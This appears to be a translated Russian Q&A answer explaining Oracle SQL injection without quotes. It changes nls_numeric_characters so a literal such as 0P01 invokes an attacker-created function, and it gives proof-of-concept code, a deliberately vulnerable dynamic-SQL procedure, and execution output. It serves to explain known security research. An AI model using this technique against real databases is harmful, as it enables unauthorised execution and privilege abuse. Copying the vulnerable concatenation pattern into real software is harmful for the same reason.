Да, можно выполнить атаку SQL-инъекцией без указания кавычек в параметре.
Это можно сделать с помощью эксплойта для обработки чисел и / или дат. На уровне сеанса вы можете указать формат даты или числа. Управляя этим, вы можете вводить с любым персонажем.
По умолчанию в Великобритании и США запятая используется для обозначения разделителя тысяч в числах, а точка с запятой для десятичной точки. Вы можете изменить эти значения по умолчанию, выполнив:
alter session set nls_numeric_characters = 'PZ';
Это означает, что «P» теперь является десятичной точкой, а «Z» - разделителем тысяч. Так:
0P01
Это число 0,01. Однако, если вы создадите функцию P01, ссылка на объект будет выбрана до преобразования числа. Это позволяет вам выполнять функции в базе данных, предоставляя вам дополнительные полномочия, а именно:
Создайте базовую функцию «get by id»:
create procedure get_obj ( i in number ) as
begin
execute immediate 'select object_name from all_objects where object_id = ' || i;
end;
/
Также создайте функцию P01, которая делает что-то нежелательное (в данном случае просто создайте таблицу, но вы поняли):
create function p01 return number as
pragma autonomous_transaction;
begin
execute immediate 'create table t (x integer)';
return 1;
end;
/
И мы готовы идти:
alter session set nls_numeric_characters = 'PZ';
SELECT * FROM t;
SQL Error: ORA-00942: table or view does not exist
exec get_obj(p01);
anonymous block completed
SELECT * FROM t;
no rows selected
Кавычек нигде нет, но нам все же удалось выполнить «скрытую» функцию P01 и создать таблицу t
!
Хотя это может быть трудно сделать на практике (и может потребовать некоторых внутренних знаний / помощи), это показывает, что вы можете вводить SQL без необходимости заключать в кавычки. Изменение nls_date_format
может позволить сделать подобные вещи.
Оригинальные результаты для чисел были сделаны Дэвидом Личфилдом, и вы можете прочитать его статью здесь . Вы можете найти обсуждение Тома Кайта о том, как даты могут быть использованы здесь .